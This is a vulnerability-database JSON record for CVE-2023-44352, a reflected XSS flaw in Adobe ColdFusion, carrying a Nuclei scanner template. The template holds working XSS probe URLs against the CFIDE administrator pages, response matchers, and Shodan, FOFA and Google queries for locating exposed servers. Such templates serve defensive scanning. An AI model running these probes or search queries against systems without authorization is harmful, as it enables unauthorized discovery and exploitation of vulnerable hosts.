{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-44352/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-44352/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-44352/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-44352/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-44352/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-44352/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-44352"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2023-44352"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-44352.yaml",
      "nuclei_template_severity": "medium",
      "nuclei_template_yaml": "id: CVE-2023-44352\n\ninfo:\n  name: Adobe Coldfusion - Cross-Site Scripting\n  author: pwnwithlove\n  severity: medium\n  description: |\n    Adobe ColdFusion versions 2023.5 (and earlier) and 2021.11 (and earlier) are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If an unauthenticated attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser\n  impact: |\n    Unauthenticated attackers can inject malicious JavaScript through crafted URLs to execute code in victim browsers, potentially stealing ColdFusion administrator session cookies and gaining access to sensitive application configurations.\n  remediation: |\n    Update Adobe ColdFusion to version 2023.6 or 2021.12 or later that properly escapes URLs in the CFIDE administrator and wizards interfaces.\n  reference:\n    - https://helpx.adobe.com/security/products/coldfusion/apsb23-52.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-44352\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2023-44352\n    cwe-id: CWE-79\n    epss-score: 0.84811\n    epss-percentile: 0.99709\n    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 8\n    vendor: adobe\n    product: coldfusion\n    shodan-query:\n      - http.component:\"Adobe Coldfusion\"\n      - http.component:\"adobe coldfusion\"\n      - http.title:\"coldfusion administrator login\"\n      - cpe:\"cpe:2.3:a:adobe:coldfusion\"\n    fofa-query:\n      - title=\"coldfusion administrator login\"\n      - app=\"adobe-coldfusion\"\n    google-query: intitle:\"coldfusion administrator login\"\n  tags: cve,cve2023,coldfusion,adobe,xss,vuln,vkev\nvariables:\n  string: \"{{rand_base(8)}}\"\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/{{string}}\"><img src=a onerror=alert(document.domain)>/..CFIDE/wizards/common/_authenticatewizarduser.cfm'\n      - '{{BaseURL}}//{{string}}\"><img src=a onerror=alert(document.domain)>/..CFIDE/wizards/common/_authenticatewizarduser.cfm'\n      - '{{BaseURL}}/{{string}}\"><img src=a onerror=alert(document.domain)>/..CFIDE/administrator/index.cfm'\n      - '{{BaseURL}}//{{string}}\"><img src=a onerror=alert(document.domain)>/..CFIDE/administrator/index.cfm'\n      - '{{BaseURL}}/{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/administrator/index.cfm'\n      - '{{BaseURL}}//{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/administrator/index.cfm'\n      - '{{BaseURL}}/{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm'\n      - '{{BaseURL}}//{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm'\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'action=\"/{{string}}\"><img src=a onerror=alert(document.domain)>'\n          - '\"{{string}}\"><script>alert(document.domain)</script>'\n        condition: or\n\n      - type: dsl\n        dsl:\n          - \"contains(body, 'ColdFusion')\"\n          - \"contains(header, 'text/html')\"\n        condition: and\n# digest: 490a0046304402204e1de7e6581828347fee60f35a8cb07e4e2c3ead5db6e16fc8fe1d7603dcfe9c02207e1ad60f088934ef618db891b532e513673a033f6715b63f36ae14aa1411a05b:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-44352"
}